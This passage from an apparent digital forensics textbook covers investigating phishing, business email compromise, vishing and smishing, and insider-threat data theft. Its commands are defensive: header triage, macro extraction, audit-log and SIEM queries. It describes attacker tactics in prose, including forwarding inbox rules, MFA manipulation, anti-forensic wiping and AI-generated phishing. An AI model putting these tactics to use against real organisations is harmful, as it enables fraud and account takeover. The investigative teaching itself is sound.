TCU Telematics Control Unit: The component in a vehicle responsible for wireless communication, GPS, and sending vehicle data to the manufacturer's servers.

Tracklog A data file that records the detailed path of a moving object, like a vehicle or drone, by logging a series of geographic points over time.

UAS Unmanned Aerial System: The official and complete term for a drone, which includes the aircraft itself, the ground-based controller, and the communication system connecting them.

Part 5

Investigations: Corporate, Human & Intelligence

This part of the book uses the technical skills you have learned in real-world investigation examples. The focus changes from the technology itself to the type of crime or incident. We will cover investigations that relate to human behavior, company rules, and gathering information to prevent future incidents.

Chapter 19

Investigating Social Engineering and Human Factors

Introduction

Attackers often find it easier to trick a person than to break through complex security software. This method is called social engineering. As an investigator, it is essential to understand how these attacks work. This chapter teaches you how to investigate these human-focused attacks by analyzing the digital evidence they create. We will examine the psychological principles attackers use, the technical analysis of phishing emails, and the methods for investigating advanced attacks like Business Email Compromise.

19.1 The Psychology of Deception

The basic idea of social engineering is that people are often the weakest part of a security system. Technical security controls follow strict rules. Human decisions, however, are affected by emotions, mental shortcuts, and biases. Attackers know this. They design attacks that do not break computer code, but instead trick people to get around security. An investigator must work backward from the security breach. Their job is to find out which psychological tactics the attacker used and what digital evidence proves it.

19.1.1 Core Principles of Influence

Modern social engineering uses basic principles of persuasion. Dr. Robert Cialdini famously described these principles [45]. It is important to understand these principles to recognize the attacker's tactics during a security incident.

Authority

The principle of *authority* means that people usually obey individuals they believe are in a position of power. This could be a real authority figure, like a CEO, or someone who seems to have authority, like a "Help Desk Technician." Attackers use this principle by pretending to be people in positions of power.

- **Forensic Relevance:** Investigators must carefully examine digital communications for signs of impersonation. For example, in a phishing analysis, an investigator checks email headers to see if the 'From:' address of a "CEO" is fake. This is also called *spoofing*. For instance, the display name might be '`John Doe <ceo@example.com>`', but the real sending address in the '*Return-Path*' header is '`<attacker@evil.net>`'. This mismatch is a classic sign of an attack. Logs from company chat systems might also show that an attacker created a profile using an executive's name and photo to send fake instructions.

Urgency and Scarcity

This principle uses our fear of losing an opportunity or our habit of acting quickly when we feel pressured. Attackers create a feeling of *urgency* (like a limited-time offer or an immediate threat) or *scarcity* (a rare chance). This is done to stop the target from thinking carefully.

- **Forensic Relevance:** When analyzing malicious emails or text messages, investigators should search for keywords that create this pressure: "Urgent," "Final Notice," "Action Required," "Limited Time." Timestamps are very important evidence. An email demanding an "urgent" wire transfer sent at 4:55 PM on a Friday is a classic example of this tactic, designed to rush an employee before they leave for the weekend.

Trust and Liking

It is easier to persuade people we know, trust, and like. Attackers create this trust by taking over the accounts of trusted coworkers. They also gather information from social media to pretend they have common interests and build a friendly relationship.

- **Forensic Relevance:** A good example is a *Business Email Compromise (BEC)* attack. This is an attack where criminals try to trick a company into sending them money. When analyzing a compromised email account, an investigator must trace the attacker's *lateral movement*, which means following their actions as they move from one system to another inside the network. Did the attacker reply to an existing, real email thread to make their fake request seem more believable? On social media, an investigator might find that the victim's public posts about a hobby were used by the attacker to start a conversation that seemed harmless at first but later became malicious.

Social Proof

The principle of *social proof* describes our habit of thinking an action is correct if we see other people doing it. It is a mental shortcut that makes us assume the majority is right.

- **Forensic Relevance:** This tactic is often used in the text of phishing campaigns. An investigator might find an email that says, "Over 80% of employees in your department have already completed the mandatory security update," or a fake login page showing logos of "trusted partners." The goal is to make the target less suspicious by making the action seem normal and expected.

19.1.2 Modern Social Engineering Vectors

The psychological principles do not change, but the methods used to deliver attacks change with technology.

Phishing, Smishing, and Vishing

These three terms are the main ways social engineering attacks are delivered:

- **Phishing:** The use of fake emails to trick people into giving away private information (like login details or credit card numbers) or installing *malware*. Malware is software designed to harm a computer system.
- **Smishing:** This is phishing done through SMS (text messages). These messages often contain harmful links and take advantage of the fact that people open text messages quickly.
- **Vishing:** This is phishing done over the phone. Attackers may use scripts and software to change their voice to pretend to be an authority figure or a technical support person.

A specialized version is *Spear Phishing*, which is a very focused attack on a specific person or small group. *Whaling* is a type of spear phishing that targets senior executives. A newer type, *Angler Phishing*, involves attackers who create fake customer support accounts on social media. They "angle" for users who are looking for help from a real company.

Pretexting and Impersonation

Pretexting is the act of creating a fake story (the pretext). The attacker uses this story to engage a target and make it more likely that the target will do what the attacker asks. This fake story is the foundation of most advanced social engineering attacks. For example, an attacker might pretend to be an IT auditor who needs login details for a "routine check." Or they might pretend to be a supplier confirming a large payment. This fake story is what makes the attacker's request seem believable.

The Rise of AI-Driven Attacks

The development of generative Artificial Intelligence (AI) has given attackers a powerful new tool.

- **AI-Crafted Phishing:** Large language models (LLMs) can now create grammatically perfect and very persuasive phishing emails on a large scale. This gets rid of the spelling and grammar mistakes that used to be a sign of a malicious email.
- **AI Voice Synthesis (Voice Cloning):** Vishing attacks are becoming much more dangerous because of *AI voice cloning*. This technology allows an attacker to create a realistic copy of a person's voice using only a short audio sample of them speaking. The attacker can then use this cloned voice to pretend to be that person in a phone call.
- **Deepfakes:** *Deepfake* video technology, which creates realistic but fake videos of people, could be used for impersonation in live video calls. This is a potential future threat.

This trend is a major challenge for forensic investigators. It is hard to tell the difference between real human communication and very convincing fakes created by AI. Future analysis will need to focus more on small digital clues and *metadata* (data about data), not just the message content.

19.2 Forensic Analysis of Phishing Attacks

A successful phishing attack is often the first step in a bigger attack on a network. Therefore, a careful forensic analysis of the phishing email is a very important first step in any incident response. We can structure this analysis using a simple model called the "Phishing Kill Chain." This model has four stages: Reconnaissance, Delivery, Exploitation, and Action on Objectives. We will focus on the digital evidence from the Delivery and Exploitation stages.

19.2.1 Email Delivery and Header Analysis

For a user, an email is the message they see. For an investigator, an email has two main parts: the *body* (the visible message) and the *headers*. The headers are metadata that record the email's journey over the internet. Think of the headers as the digital postmarks on an envelope.

Tracing the Email Path

The most important headers for tracing an email's origin are the 'Received:' headers. Each mail server that handles an email adds a 'Received:' header to the top of the list. Therefore, to trace the path from source to destination, an investigator must read these headers from the **bottom to the top**. The bottom

'Received:' header is the first one that was added. It often contains the sender's real *IP address*, which is a unique number assigned to a device on the internet ('X-Originating-IP'). An investigator can check this IP address in geographic databases and threat information services to see if it comes from a suspicious place.

Authenticating the Sender

To fight email spoofing, three important authentication standards were created: SPF, DKIM, and DMARC. The results of these checks are often recorded in the 'Authentication-Results' header.

- **Sender Policy Framework (SPF):** This standard lets a domain owner list the mail servers that are allowed to send email for that domain. An SPF 'FAIL' means the email came from a server that was not authorized.
- **DomainKeys Identified Mail (DKIM):** This standard adds a digital signature to an email. This signature proves that the email's content was not changed while it was being sent. A DKIM 'FAIL' can mean the email was changed.
- **Domain-based Message Authentication, Reporting, and Conformance (DMARC):** This is a policy that tells the receiving mail server what to do if an email fails SPF or DKIM checks (for example, move it to spam or reject it). The DMARC standard is defined in RFC 7489 [122].

A 'FAIL' result in any of these checks is strong evidence that the email is malicious or fake.

Algorithmic Breakdown: Phishing Email Triage When given a suspicious email (usually as an '.eml' or '.msg' file), an investigator can follow a structured process to quickly assess it:

(1) **Isolate and Open:** Open the email file in a plain text editor or a special analysis tool (e.g., 'eml-analyzer') to view the raw text of the email. This avoids accidentally activating any harmful content.

(2) **Check Authentication:** Examine the 'Authentication-Results' header. Do the SPF, DKIM, and DMARC checks show a 'pass' or 'fail'? A 'fail' is a big warning sign.

(3) **Trace Path:** Analyze the 'Received:' headers from bottom to top. Does the originating IP address come from an unexpected country or from a home internet service provider? Is it on any lists of known threats?

(4) **Extract Payloads:** Systematically take out all URLs and attachments. Do not click or open them. Submit them to a *sandbox*, which is a safe, isolated environment, to see how they behave.

(5) **Compare Senders:** Compare the visible ‘From:‘ address with the technical ‘Return-Path‘ address (also called the envelope sender or ‘MAIL FROM:‘). A mismatch is a strong sign of spoofing.

(6) **Conclude:** Based on the evidence collected, classify the email as malicious, suspicious (needs more investigation), or safe.

19.2.2 Deconstructing Malicious Payloads

The goal of a phishing email is to get the user to interact with a *payload*. A payload is the part of the attack that does the harm, usually a malicious link or a specially crafted attachment.

URL and Link Analysis

Attackers use many techniques to hide the real destination of a harmful link:

- **Typosquatting:** This is registering domain names that are common misspellings of real ones (e.g., ‘micros0ft.com‘, ‘paypa1.com‘).
- **Domain Shadowing:** This is when an attacker illegally accesses the DNS records for a real domain. They then create malicious subdomains (like ‘malicious.real-company.com‘) that benefit from the main domain’s good reputation.
- **URL Shorteners:** These are services like Bitly or TinyURL that create short links. Attackers use them to hide the final, malicious web address.

Practical Demo: Short URL and cURL, An investigator can safely find the final destination of a short URL using a command-line tool like ‘cURL‘. This command requests the URL, follows all redirects (‘-L‘), shows only the response headers (‘-I‘), operates silently (‘-s‘), and filters (‘grep‘) for the final ‘Location:‘ header. This shows the final malicious address without opening it in a web browser.

```
curl -sLI <shortened_url> | grep -i "location:"
```

For a more detailed analysis of what a webpage does, online sandboxes like VirusTotal and URLscan.io are essential tools. They will visit the URL in a secure environment and give a detailed report about what the website does, including screenshots, a list of network connections, and any files it downloads.

Malicious Attachment Forensics

Common types of malicious attachments include:

- **Macro-Enabled Office Documents (‘.docm‘, ‘.xlsm‘):** These documents contain small programs called *VBA macros*. These macros run if

the user clicks "Enable Content." The macro code usually downloads and runs another piece of malware.

- **Malicious PDFs:** PDFs can contain harmful JavaScript code or use weaknesses in PDF reader software to run malicious code.
- **Archive Files (‘.zip‘, ‘.iso‘, ‘.img‘):** Attackers use archive files to hide harmful programs. They often password-protect the archive and put the password in the email. This helps them avoid automatic antivirus scans.

Practical Demo: Analyzing Microsoft Office Files, The Python tool ‘oledump.py‘ by Didier Stevens is a standard tool for analyzing Microsoft Office files [193]. When you run this tool on a suspicious document, it shows you the internal data parts, called *OLE streams*. Streams marked with an 'M' contain VBA macros, which can then be extracted for careful examination.

```
oledump.py malicious_document.docm
```

19.3 Investigating Business Email Compromise

Business Email Compromise (BEC) is a very advanced type of social engineering. It is often called a "malware-less crime" because it usually uses only deception. It does not use technical attacks or harmful attachments. This makes it very hard for standard security tools like antivirus and firewalls to detect. The goal is simple and direct: trick a company into sending money to a bank account controlled by the attacker. The financial loss can be huge. For example, in 2015, Ubiquiti Networks lost $46.7 million. The attack involved criminals who pretended to be executives and requested fake wire transfers [119].

19.3.1 Common BEC Scenarios

While the tactics are different, most BEC attacks follow one of several common patterns:

- **CEO Fraud / Executive Impersonation:** The attacker fakes an executive's email address or uses one that looks very similar (e.g., ‘ceo@examp1e.com‘). They use it to order an employee, usually in the finance department, to make an "urgent and secret" wire transfer. The attacker claims the request is for a secret business deal. This is to stop the employee from following the usual verification procedures.
- **Invoice Fabrication & Vendor Impersonation:** The attacker pretends to be a known supplier. They send a fake invoice to the target company. The details look real, but the bank account information is changed to the attacker's account. This often happens after an attacker takes control of the real supplier's email account. This allows the attacker to find a real invoice and change it.

- **Account Compromise & Internal Impersonation:** The attacker gets access to a real employee's email account. They might use phishing or *password spraying*, which is trying common passwords on many accounts. Once inside, the attacker has a trusted position. They can read emails to understand the business, stop real payments, or send fake requests to other employees and business partners.

19.3.2 Forensic Investigation of Account Takeovers

When a BEC attack includes a real *account takeover* (ATO), the investigation changes. Instead of just analyzing one fake email, the investigator must do a complete forensic examination of the activity in the compromised account. In modern cloud environments like Microsoft 365 and Google Workspace, this investigation depends completely on the quality of the cloud audit logs and how long they are kept.

The Centrality of Cloud Audit Logs

Cloud services produce large amounts of data, called *telemetry*, which can be used to see what an attacker did. The main source of evidence is the *unified audit log*. This log records what users and administrators do across all services. An investigator's first step is to get and save these logs.

Identifying the Initial Compromise

The investigator must first find the exact time the account was broken into. This is done by analyzing sign-in logs (e.g., Azure Active Directory sign-in logs) for unusual activity that points to a fake login:

- **Impossible Travel:** *Impossible travel* is when a user logs in from one place, and then logs in again from a faraway place a short time later (e.g., a login from New York, followed five minutes later by a login from Nigeria). This is a classic sign of a compromised account.
- **Suspicious IP Addresses/ASNs:** Logins from IP addresses that belong to services that hide a user's location (like Tor or a VPN) are very suspicious. The same is true for logins from *autonomous system numbers* (ASNs), which are large networks, that have a bad reputation.
- **Credential Attack Patterns:** The first successful unusual login may happen after many failed login attempts from different locations. This could be a sign of a password spraying attack or a *credential stuffing attack*, where attackers use lists of stolen usernames and passwords.

Tracing Attacker Activity Post-Compromise

Once inside, the attacker wants to keep their access (*persistence*) and complete their goal. A forensic analysis of the mailbox audit logs is very important

to find out what they did.

- **Malicious Inbox Rules:** This is the most common way attackers maintain access in BEC attacks. The attacker creates an inbox rule to automatically forward emails with keywords like "invoice," "payment," "wire," or "statement" to their own external email address. They may also set up the rule to move the original email to a folder that is not often checked (like 'RSS Feeds') and mark it as read. This hides their actions from the real user.
- **Permission Changes:** The attacker may give themselves 'FullAccess' or 'SendAs' permissions to the compromised email account from another account they control. This allows them to keep access even if the user changes their password.
- **MFA Manipulation:** An advanced attacker might add their own device as a method for *multi-factor authentication* (MFA). MFA is a security system that requires more than one method of verification.
- **Message Trace:** A full *message trace* is needed. This is a search for all emails the attacker sent, received, or deleted during the time of the compromise. This helps to understand how serious the breach is and to find all fake communications.

Practical Demo: Audit Microsoft 365, In a Microsoft 365 environment, an investigator can use the Security & Compliance PowerShell module to search for new inbox rules created during a specific time. The following command searches the unified audit log for this exact action for a compromised user.

```
Search-UnifiedAuditLog -UserIds victim@company.com `
    -Operations New-InboxRule `
    -StartDate 01/01/2024 -EndDate 02/01/2024 | `
    Format-Table UserIds,CreationDate,Operations,AuditData
```

The 'AuditData' field in the results will show the details of the rule. This includes what the rule looks for (the conditions) and what it does (the action), such as the external email address it forwards messages to.

19.4 Vishing and Smishing Investigations

Although email attacks are common, criminals also use phone networks for social engineering. They take advantage of the fact that people tend to trust phone calls and text messages and respond to them quickly.

19.4.1 Analyzing Vishing Artifacts

Investigating vishing (voice phishing) is uniquely challenging because phone calls are not permanent.

- **Call Detail Records (CDRs):** *Call Detail Records* (CDRs) are the main type of evidence. They are records from the phone company that contain metadata about a call, including the source number, destination number, timestamp, and call duration. However, their value as evidence can be reduced by **Caller ID (CLI) spoofing**. This is a technique where attackers change network information to show a fake phone number (like the company's own help desk number). Investigators must also deal with attackers using untraceable prepaid phones ("burner phones") or anonymous internet phone (VoIP) services.
- **Voice Recording Analysis:** In companies where calls are recorded for legal or quality reasons, the recording itself becomes very important evidence. It can be analyzed to understand the attacker's script, listen for background noises that might give clues about their location, and check voice characteristics. The future forensic challenge is to create methods to detect if AI voice cloning was used in a vishing attack. Reliable tools for this purpose are still being developed.

19.4.2 Deconstructing Smishing Messages

Smishing (SMS phishing) attacks are very common. They often involve attackers pretending to be banks, delivery companies, or health organizations.

- **SMS Gateway Log Analysis:** In a company investigation of a targeted smishing campaign, logs from the company's SMS gateway provider can be very useful. Analysis may show patterns, like many text messages sent from one number. Another pattern is using a text-based sender ID (like "DHL-Alert") to make the message look more official.
- **Message Content and Links:** Analyzing smishing content is similar to analyzing phishing emails, but it is adjusted for mobile phones. Links are often shortened and lead to pages that are made to steal login details and are designed to work well on mobile phone browsers. A key example is the "FluBot" malware campaign, which spread very quickly through SMS messages [155]. Victims received a text about a "missed package delivery" with a link. Clicking the link installed malware that stole banking information and, most importantly, sent the same harmful SMS to every person in the victim's contact list. This caused the infection to spread extremely fast and shows how social engineering can be mixed with malware to spread widely and rapidly.

19.5 Attribution and Remediation

Investigating a social engineering attack is only the first part of the job. The final goals are to find the attacker if possible, get back any losses, and stop similar attacks from happening again.

19.5.1 Challenges in Attribution

Finding the specific person or group responsible for a social engineering attack is extremely difficult. Attackers are good at hiding their actions using several layers of confusion:

- Using services that hide their IP address (VPNs, Tor).
- Using compromised accounts and systems to launch attacks.
- Operating in different countries, which creates legal and practical problems for an investigation.
- Converting stolen money to cryptocurrency, which makes it harder to trace.

While finding the exact attacker is rare, forensic investigators can often link attacks to known attacker groups by finding similar *tactics, techniques, and procedures* (TTPs). They can also sometimes trace the attack back to a shared *command and control* (C2) server, which is a computer used by attackers to manage their operations.

19.5.2 Financial Fraud Recovery

In cases of financial fraud like BEC, speed is extremely important. The chance of getting stolen money back decreases very quickly with each passing hour. A vital step is to immediately contact the banks or financial companies involved. Additionally, law enforcement agencies have created fast response teams. In the United States, the FBI's Internet Crime Complaint Center (IC3) has a Recovery Asset Team (RAT) [72]. If notified within 72 hours of a fake transfer, the RAT can work with banks in the U.S. and other countries to freeze the stolen money. This process is called a "Financial Fraud Kill Chain" and is often successful at recovering funds.

19.5.3 Remediation and User Education

The final stage of any incident response is *remediation*, which means fixing the problems and damage. This includes both technical fixes and changes to human processes. Technical fixes include resetting all compromised passwords, blocking unauthorized access, removing malicious inbox rules, and making security controls stronger (e.g., requiring MFA).

However, because social engineering uses human behavior, technical fixes are not enough. The information from the forensic investigation must be used to improve security awareness training. If the attack used CEO fraud, training should teach finance employees how to check urgent requests that come outside of normal procedures. If the attack started with a phishing link to a fake login page, training should teach users how to identify fake URLs. Training users with examples of real attacks that happened at their own company is the best long-term defense against the continuing threat of social engineering.

Conclusion

In this chapter, we learned that social engineering attacks target people. We covered key skills, such as analyzing email headers and investigating compromised cloud accounts to find malicious inbox rules. An investigator uses these skills to understand how an attacker tricked a user and to find out what the attacker did next. In the next chapter, we will build on this knowledge by examining the specific artifacts that these attacks leave on computer operating systems.

Acronyms and Terminology

Account Takeover (ATO) An attack where a threat actor gains unauthorized control over a legitimate user's account, such as an email account.

AI (Artificial Intelligence) Advanced computer systems capable of performing tasks that normally require human intelligence, now used by attackers to create more convincing phishing emails and clone voices.

AI Voice Cloning A technology that uses a short audio sample to create a realistic, synthetic copy of a person's voice, used in advanced vishing attacks.

Angler Phishing A type of social engineering where attackers impersonate customer service accounts on social media to trick users seeking help.

ASN (Autonomous System Number) A unique number that identifies a large network or internet service provider. In investigations, some ASNs are known to be associated with malicious activity.

Attribution The process of identifying the person or group responsible for a cyberattack. This is often very difficult due to attacker techniques for hiding their identity.

BEC (Business Email Compromise) A sophisticated scam targeting businesses where attackers use social engineering to trick employees into transferring funds to a fraudulent bank account.

C2 (Command and Control) Server A computer controlled by an attacker used to send commands to compromised systems (bots) and receive stolen data.

Caller ID (CLI) Spoofing The practice of faking the phone number that appears on a recipient's Caller ID display to mislead them about the caller's identity.

CDR (Call Detail Records) Metadata provided by telecommunication companies that documents the details of a phone call, such as the source and destination numbers, time, and duration.

CEO Fraud A specific type of Business Email Compromise where an attacker impersonates a high-level executive (like the CEO) to authorize a fraudulent financial transaction.

Credential Stuffing An attack where criminals use lists of stolen usernames and passwords from one data breach to try and log into other unrelated services.

Deepfake A synthetic video created using artificial intelligence where a person's likeness is replaced with someone else's, making it appear they said or did something they did not.

DKIM (DomainKeys Identified Mail) An email authentication method that adds a digital signature to messages to verify that the content has not been altered in transit.

DMARC (Domain-based Message Authentication, Reporting, and Conformance) An email authentication policy that tells a receiving mail server what to do if an email fails SPF or DKIM checks, such as rejecting it or sending it to spam.

Domain Shadowing An attack where a criminal gains access to a legitimate domain's registration account to create malicious subdomains, making their activity appear trustworthy.

Email Headers The metadata section of an email that contains technical details about its journey, such as the sender, route, and authentication results, which are crucial for forensic analysis.

IC3 (Internet Crime Complaint Center) A center run by the U.S. Federal Bureau of Investigation (FBI) that receives and processes reports of internet crime from the public.

Impossible Travel A security alert condition that occurs when a single user account logs in from two geographically distant locations in a time frame that would be impossible to travel between.

IP Address (Internet Protocol Address) A unique numerical label assigned to every device connected to a computer network that uses the Internet Protocol for communication.

Lateral Movement The process an attacker uses to move from one compromised system to others within the same network to expand their access and find valuable data.

LLMs (Large Language Models) A type of artificial intelligence that can understand and generate human-like text, used by attackers to create highly convincing and grammatically correct phishing messages.

Malicious Inbox Rules A common tactic in account takeovers where an attacker creates rules in a victim's email account to automatically forward sensitive emails to an external address or hide their activity.

Malware A general term for any software intentionally designed to cause disruption, steal data, or gain unauthorized access to a computer system.

Message Trace A feature in email systems that allows an investigator to search for and track all emails sent, received, or deleted by a specific account, which is essential for understanding the scope of a breach.

Metadata Data that provides information about other data. In forensics, this includes email headers, file properties, and log entry details.

MFA (Multi-Factor Authentication) A security process that requires a user to provide two or more different verification factors to gain access to an account, making it harder for attackers to succeed.

OLE Streams The internal data structures within Microsoft Office files. In forensics, these are analyzed to find hidden code, such as malicious VBA macros.

Password Spraying An attack method where a criminal tries a single, common password against many different user accounts before moving on to the next common password, to avoid account lockouts.

Payload The component of a cyberattack that performs the malicious action, such as a harmful link, a malware-infected attachment, or a command to steal data.

Persistence The technique used by an attacker to maintain long-term access to a compromised system, even after a reboot or password change.

Phishing An attack where criminals send fraudulent emails pretending to be from a legitimate source to trick victims into revealing sensitive information or deploying malware.

Pretexting The act of creating and using an invented scenario or fake story (the pretext) to persuade a targeted victim to divulge information or perform an action.

RAT (Recovery Asset Team) A specialized team within the FBI's IC3 that works with financial institutions to freeze and recover funds stolen through online fraud like BEC.

Remediation The process of fixing the technical and procedural weaknesses identified during an incident investigation to prevent future attacks.

Sandbox A secure, isolated virtual environment used by investigators to safely open malicious files or visit suspicious URLs to observe their behavior without risking harm to their own systems.

Smishing A form of phishing that uses mobile phone text messages (SMS) to trick people into clicking malicious links or providing personal information.

Social Engineering The psychological manipulation of people into performing actions or divulging confidential information. It relies on tricking humans rather than hacking computer systems.

Social Proof A psychological principle where people assume the actions of others reflect correct behavior in a given situation; attackers use this by claiming many others have already complied with a request.

Spear Phishing A highly targeted form of phishing that is customized for a specific individual, organization, or small group to make the attack more convincing.

SPF (Sender Policy Framework) An email authentication standard that allows a domain owner to specify which mail servers are authorized to send email on behalf of their domain, helping to detect forgeries.

Spoofing The act of disguising a communication from an unknown source as being from a known, trusted source. In email, this often involves faking the sender's address.

Telemetry A stream of data collected from cloud services and security tools that records user and system activities, providing a rich source of evidence for investigators.

TTPs (Tactics, Techniques, and Procedures) The patterns of behavior and methods used by a specific threat actor or group. Analyzing TTPs can help attribute an attack to a known adversary.

Typosquatting The practice of registering domain names that are slight misspellings or variations of popular, legitimate domains to trick users who make typing errors.

Unified Audit Log A centralized log in cloud environments (like Microsoft 365) that consolidates user and administrator activity records from multiple services into a single location for investigation.

VBA Macros Small programs written in the Visual Basic for Applications language that can automate tasks within Microsoft Office documents. Attackers use them to execute malicious code.

Vishing A form of phishing conducted over the telephone (voice phishing), where an attacker calls a victim and uses deception to steal confidential information.

VoIP (Voice over Internet Protocol) A technology that allows for making voice calls using an internet connection instead of a traditional phone line, often used by attackers to hide their true location and identity.

Whaling A specific type of spear phishing that exclusively targets high-profile senior executives, such as CEOs or CFOs, with the goal of stealing money or sensitive data.

Chapter 20

Insider Threat Investigations

Introduction

The biggest security threat to an organization can sometimes come from its own employees. This is called an insider threat, and it is a special problem for investigators because insiders already have permission to access company systems. This chapter will teach you how to investigate these cases and find digital evidence. We will explain the different types of insider threats, show you where to find evidence on networks and computers, and use a case study to demonstrate how to build a clear timeline of events.

20.1 Insider Threat Investigation

To search for evidence well, an investigator must first understand the threat. For example, investigating an employee who accidentally clicks a bad link is very different from investigating an unhappy system administrator who is stealing company secrets. This section defines the insider threat. It also explains the important non-technical information needed for a good investigation.

20.1.1 Defining the Scope of the Insider Threat

An *insider* is any person who has, or had, approved access to a company's resources. These resources include networks, data, or buildings. The insider uses this access to cause harm, either on purpose or by accident. This harm can be data theft, financial crime (fraud), spying (espionage), destroying systems (sabotage), or damaging the company's reputation.

The most important factor for the investigation is **intent**. Did the person mean to cause harm, or was it an accident? The answer to this question decides how the investigation is done, which tools are used, how quickly it must be

handled, and what the legal results might be. Proving a crime requires much more evidence than proving that a careless employee needs more training.

20.1.2 Categorizing Insider Threats

We can group insider threats into types based on the person's intent.

Malicious Insider A person who purposely uses their approved access to harm the company's data or computer systems. This means they might steal private information (*confidentiality*), change data (*integrity*), or shut down systems (*availability*). Their goal is to cause harm by stealing data, committing fraud, or interrupting business. Malicious insiders can be divided into two types:

- **The Lone Wolf:** A person acting alone. They are often motivated by personal anger or a desire for money.
- **The Collaborator:** A person working with an outside group. This could be a competitor company, a foreign government, or a criminal group.

Unintentional Insider A person who does not want to cause harm but accidentally creates a security weakness (*vulnerability*) or puts the company at risk. Their actions are usually caused by carelessness, mistakes, or being tricked by *social engineering*. Social engineering is when an attacker manipulates people into giving up confidential information. Common examples include:

- Clicking on a link in a clever fake email, which is known as *phishing*.
- Incorrectly setting up a cloud storage location or server, which makes it available to everyone on the internet.
- Losing a company laptop or USB drive that is not protected with *encryption*. Encryption is a process that makes data unreadable without a special key.
- Using passwords that are easy to guess or using the same password for many important systems.

20.1.3 Understanding Insider Motivations

To investigate a malicious insider well, it is helpful to understand *why* they did it. The MICE model gives a simple but strong structure for understanding these reasons. This model comes from the field of counter-espionage [219].

M – Money This is the simplest reason. The insider wants to make money. They might steal money directly, take payments (bribes) to steal data, or sell company secrets to a competitor. These secrets are also called *intellectual property*, which are a company's protected creations, like designs or secret formulas.

I – Ideology The insider believes the company is doing something wrong, such as something unethical or illegal. They may leak data to the public or to news reporters to show what the company is doing. The case of Edward Snowden, who leaked secret documents from the National Security Agency (NSA) to show global surveillance programs he believed were wrong, is a famous example of an insider motivated by ideology [91].

C – Coercion The insider is forced to act. An outside person or group is threatening or blackmailing them. The attacker may threaten their family, their reputation, or their job. This forces them to misuse their access.

E – Ego This general category includes many personal reasons. These can be revenge, unhappiness at work, or a need for attention. An employee might want to hurt the company if they did not get a promotion, feel they are not appreciated, or have a problem with their manager.

20.1.4 The Critical Role of Collaboration

Insider threat investigations must be a team effort. A technical investigation without understanding the human situation will not succeed. Digital forensic investigators must work closely with other departments in the company.

Human Resources (HR) HR provides important information about the person being investigated. They have information about the person's job performance (like recent bad reviews), problems at work, signs that the person might leave the company (like saying they are unhappy), and official dates for when their job ends. This information helps to understand possible reasons and motivations for the person's actions.

Legal Department The legal team makes sure the investigation follows all laws. They give advice about privacy laws, rules for handling evidence, and the details of employment contracts. Most importantly, the legal team decides when a problem is just a company policy violation or when it becomes a crime. This decision determines if and when to involve the police.

20.2 The Insider Threat Kill Chain

External cyberattacks often happen in a series of predictable steps. In the same way, we can map many insider actions to a model called a "kill chain." This model, which comes from military ideas, divides an attack into separate stages. For an investigator, the Insider Threat Kill Chain is a very useful guide. It helps to predict what an attacker will do next and helps focus the search for evidence in the most likely places [30].

20.2.1 Stage 1: Triggering Event & Reconnaissance

Description The process starts with a *triggering event*. This is something that causes the insider to decide to take action. Examples include being told they will be fired, a bad performance review, not getting a promotion, or being contacted by a competitor company. After the trigger, the insider begins *reconnaissance*. This means they use their existing access to find the data or systems they want to attack.

Potential Evidence

- **HR Records:** Formal documents about the triggering event.
- **Network File Share Logs:** Records showing the user looked at files or folders that are not part of their normal job.
- **Intranet Search Logs:** Search logs from the company's internal websites (intranet). These can show strange searches, for example, searching for "customer master list" or "source code repository".
- **Active Directory Logs:** Logs from *Active Directory*, a system that manages user access. These logs can show if the user tried to list user groups or permissions to learn who can access what data.

20.2.2 Stage 2: Aggregation & Staging

Description After finding the target data, which might be on several different systems, the insider gathers it. They put it all in one place to make it easier to handle. This process is called *staging*. The goal is to get the data ready to be moved out of the company easily.

Potential Evidence

- **Archive File Creation:** Evidence of large compressed files (like ZIP, RAR, or 7z) on a computer or server. This is visible in file system information (*metadata*) or records of which programs were run. Metadata is data that provides information about other data.
- **Unusual Folder Locations:** Data moved to a folder that does not attract attention, such as `C:\Temp`, `C:\PerfLogs`, the Recycle Bin, or a folder with a simple name like `Old_Files`.
- **Server Performance Logs:** Server activity logs might show a sudden, unusual increase in disk or processor activity. This happens when a large amount of data is copied.

20.2.3 Stage 3: Obfuscation & Exfiltration

Description In this stage, the insider tries to hide what they are doing. Then, they move the data outside of the company's secure network. *Obfuscation* means hiding the data or the action. *Exfiltration* is the act of transferring the data.

Potential Evidence

- **Obfuscation:** Hiding actions, such as renaming important files (e.g., `ClientList.xlsx` to `MeetingNotes.docx`), using encryption tools like VeraCrypt, using *steganography* to hide data inside image files, or deleting system activity logs. Steganography is the practice of hiding a file or message within another file.
- **Exfiltration:** Moving data out of the network. Evidence can be found in: logs from the network *proxy* (a server that acts as a gateway between users and the internet) showing large uploads to personal cloud storage (Dropbox, Google Drive); *firewall* logs (a system that protects the network) showing large amounts of data leaving the network; email server logs showing messages with large attachments sent to personal accounts; or DLP system alerts for data being moved to USB drives.

20.2.4 Stage 4: Post-Exfiltration Activity

Description After the data is moved out, the insider might try to hide their actions. Or, they might start using the stolen information.

Potential Evidence

- **Anti-Forensic Tools:** Evidence of tools like BleachBit, SDelete, or CCleaner being used to permanently delete files or clean empty disk space.
- **System Sabotage:** Damaging systems, such as erasing local or network hard drives or deleting important system files.
- **External Intelligence:** Information from outside the company. For example, the ex-employee starts a new company with a product that is very similar to the stolen company secrets. Or, a competitor suddenly starts contacting the company's most important customers.

20.3 Enterprise-Level Detection & Evidence

Modern companies create huge amounts of security and operational data. For an investigator, this data is the best place to look for signs of a problem. Company-wide (enterprise-level) tools give the complete view needed to find suspicious activity anywhere in the organization.

20.3.1 Using a SIEM for Centralized Analysis

A *Security Information and Event Management (SIEM)* system is the central point for a security operations team. It is a system that collects, standardizes, and connects log data from many sources, like firewalls, proxies, servers, computers, and applications [112]. An investigator can use the SIEM to search all

this data for signs of an insider threat. The SIEM provides one central place for analysis, so the investigator does not need to log into many different systems.

Practical Demo: SIEM query, Here is an example of a SIEM query. It looks for a user moving an unusually large amount of data after normal work hours:

```
sourcetype=proxy OR sourcetype=firewall
| where user_activity_time > "18:00" AND bytes_out > 100000000
| stats sum(bytes_out) as total_megabytes by user
```

This query searches proxy and firewall logs for activity after 6:00 PM (18:00). It looks for transfers of more than 100MB of data leaving the network. Then, it calculates the total data transferred by each user. This process quickly shows which users are sending much more data than others.

20.3.2 Investigating User Behavior Analytics Alerts

